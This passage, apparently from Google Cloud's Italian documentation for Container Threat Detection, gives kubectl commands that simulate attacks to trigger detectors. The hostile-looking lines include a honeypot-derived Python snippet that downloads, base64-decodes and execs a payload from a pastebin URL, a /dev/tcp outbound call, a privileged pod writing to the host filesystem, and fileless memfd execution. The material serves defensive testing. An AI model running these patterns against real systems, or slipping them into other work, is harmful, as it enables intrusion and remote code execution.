      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nodo ARM:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: certificato radice installato (anteprima)

Per attivare il rilevamento di un certificato radice installato, crea un file di certificato radice sull'host da un container. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, montando il file system root dell'host nel container. Quindi, crea un file di certificato vuoto in una directory appropriata.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Installa un file di certificato sull'host da un container.

Nodo x86:

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato Certificato root installato che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Esecuzione: file binario aggiuntivo dannoso eseguito

Per attivare un'esecuzione: File binario aggiuntivo dannoso eseguito, rilascia un file binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea un file dannoso simulato e poi lo esegue. L'esecuzione del file binario è inattesa perché il file binario dannoso simulato non faceva parte dell'immagine del container originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia il file binario EICAR ed eseguilo:

Nodo x86:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nodo ARM:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Questa procedura di test dovrebbe creare un risultato Esecuzione: aggiunto binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati Esecuzione: aggiunto binario dannoso eseguito. Per visualizzare tutti i risultati di Esecuzione: file binario aggiuntivo dannoso eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: container escape

Per attivare un'esecuzione: Container Escape finding, inserisci un file binario nel tuo container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (botb-linux-amd64) e la esegue con argomenti aggiuntivi. Questa azione è considerata sospetta perché questa esecuzione simula un comportamento coerente con un tentativcontainer escapeer.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia un binario dello strumento di exploit del contenitore come botb-linux-amd64 ed eseguilo:

Nodo x86:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nodo ARM:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Questa procedura di test dovrebbe creare un risultato Esecuzione: Container Escape che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione senza file in `/memfd:`

Per attivare un risultato Execution: Fileless Execution in /memfd:, deve essere eseguito un processo dal file system in memoria /memfd:. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata in un file anonimo in /memfd:. Viene quindi eseguito il binario copiato. L'esecuzione di un file binario in /memfd: viene segnalata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti basati su file.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un container con privilegi e apri bash per eseguire i comandi:

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Nodo ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

Questa procedura di test dovrebbe creare un risultato Execution: Fileless Execution in /memfd: che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione della vulnerabilità Ingress Nightmare

Per attivare un'esecuzione: risultato Esecuzione della vulnerabilità Ingress Nightmare (anteprima), esegui il binario nginx nel container. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in un binario Nginx (nginx) e lo esegue con argomenti aggiuntivi che fanno riferimento al file system /proc. Questa azione è considerata sospetta perché simula un comportamento coerente con l'exploit Ingress Nightmare (CVE-2025-1974), indicando quindi una potenziale esecuzione di codice remoto.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un binario Nginx come nginx ed eseguilo durante l'accesso al file system /proc:

Nodo x86:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nodo ARM:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Questa procedura di test crea un risultato di esecuzione: vulnerabilità Ingress Nightmare che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un'esecuzione: risultato dell'esecuzione dello strumento di attacco Kubernetes, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (amicontained) e lo esegue. Questa azione è considerata sospetta perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia un binario dello strumento di attacco Kubernetes come amicontained ed eseguilo:

Nodo x86:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nodo ARM:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione dello strumento di attacco Kubernetes che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione dello strumento di ricognizione locale

Per attivare un risultato Execution: Local Reconnaissance Tool Execution, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (linenum.sh) e lo esegue. Questa azione è considerata sospetta perché l'esecuzione del file binario rinominato simula un comportamento coerente con un tentativo di ricognizione locale.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduci un binario dello strumento di ricognizione locale come linenum.sh ed eseguilo:

Nodo x86:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nodo ARM:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Questa procedura di test dovrebbe creare un risultato Esecuzione: strumento di ricognizione locale che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Python dannoso eseguito

Per attivare un risultato Esecuzione: Python dannoso eseguito, puoi eseguire Python nella seguente procedura nel container.

La procedura esegue il deployment dell'ultima immagine Python, copia il codice Python che sembra dannoso e lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso per il rilevatore.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui il seguente script in un nuovo contenitore.

Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo che non esegua il file binario dannoso. L'esecuzione dello script non causerà attività dannose nel container. Il binario all'URL di riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.

Nodo x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nodo ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Questa procedura di test crea un risultato Esecuzione: esecuzione di Python dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: file binario dannoso modificato eseguito

Per attivare un risultato Esecuzione: file binario dannoso modificato eseguito, modifica un file binario dannoso nel tuo container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, modifica /bin/ls in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è inattesa perché il /bin/ls creato viene modificato durante il runtime del container come binario dannoso di test EICAR e il binario EICAR è un file dannoso noto secondo la threat intelligence.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia il file binario EICAR ed eseguilo:

Nodo x86:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nodo ARM:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Questa procedura di test dovrebbe creare un risultato Esecuzione: binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: binario dannoso modificato eseguito. Per visualizzare tutti i risultati di Esecuzione: binario dannoso modificato eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: esecuzione del codice remoto Netcat nel container

Per attivare un evento Execution: Netcat Remote Code Execution In Container, un file binario in grado di comunicare in rete (come netcat stesso o una copia rinominata di un altro utilità) deve essere presente ed eseguito all'interno del contenitore. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04 come base. Copia il binario /bin/ls e rinomina la copia in netcat (un'utilità di rete). Questo binario rinominato viene quindi eseguito con argomenti appropriati per l'interazione di rete. Questa attività è contrassegnata come sospetta perché imita il comportamento spesso osservato durante i tentativi di esecuzione del codice remoto effettivi all'interno di ambienti in container.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduci un binario dello strumento di comunicazione di rete come netcat ed eseguilo con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nodo ARM:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Questa procedura di test dovrebbe creare un risultato Execution: Netcat Remote Code Execution In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47177)

Per attivare un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177), deve essere eseguita un'esecuzione di un processo shell da parte di foomatic-rip. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/bash in /tmp/foomatic-rip. Questo binario rinominato e copiato viene eseguito come script shell per creare un comando shell secondario. Questo comportamento è contrassegnato come sospetto perché può indicare un tentativo di eseguire carichi di lavoro arbitrari su sistemi compromessi.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui il comando con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu1804:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Nodo ARM:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

Questa procedura di test crea un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: possibile esecuzione di comando remoto rilevata

Per attivare un risultato Execution: Possible Remote Command Execution Detected (anteprima), l'esecuzione di un comando o di un binario comunemente associato all'esecuzione di comandi remoti deve essere osservata all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in touch (o un altro strumento come find). Questo binario rinominato viene quindi eseguito con argomenti appropriati per l'esecuzione di comandi remoti. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di stabilire un accesso remoto non autorizzato al o dal container.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario come touch con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nodo ARM:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Questa procedura di test crea un risultato Execution: Possible Remote Command Execution Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: Program Run with Disallowed HTTP Proxy Env

Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma all'interno di un contenitore, impostando una variabile di ambiente proxy HTTP su un valore non consentito. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata e rinominata in /tmp/curl. Questo binario rinominato viene poi eseguito con un valore non consentito impostato per una variabile di ambiente proxy HTTP (ad esempio, HTTP_PROXY, http_proxy). La combinazione di esecuzione del programma e presenza di un ambiente proxy HTTP non consentito viene contrassegnata come sospetta, in quanto suggerisce un tentativo di comunicare tramite un proxy non autorizzato.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario in grado di comunicare con la rete, ad esempio curl, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:

Nodo x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Nodo ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Questa procedura di test dovrebbe creare un risultato Execution: Program Run with Disallowed HTTP Proxy Env che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: rilevata reverse shell Socat

Per attivare un risultato Execution: Socat Reverse Shell Detected, deve essere stabilita una connessione reverse shell del processo tramite l'utilità socat. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità socat è installata e viene creato un listener TCP locale, a cui viene associata l'utilità socat. La shell inversa creata da socat è contrassegnata come sospetta perché consente a un malintenzionato di eseguire workload arbitrari sul sistema.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crea un container e apri bash per eseguire i comandi:

Nodo x86:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash

Nodo ARM:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Installare l'utilità socat
```
  apt update && apt install socat -y
```

Crea un listener utilizzando socat

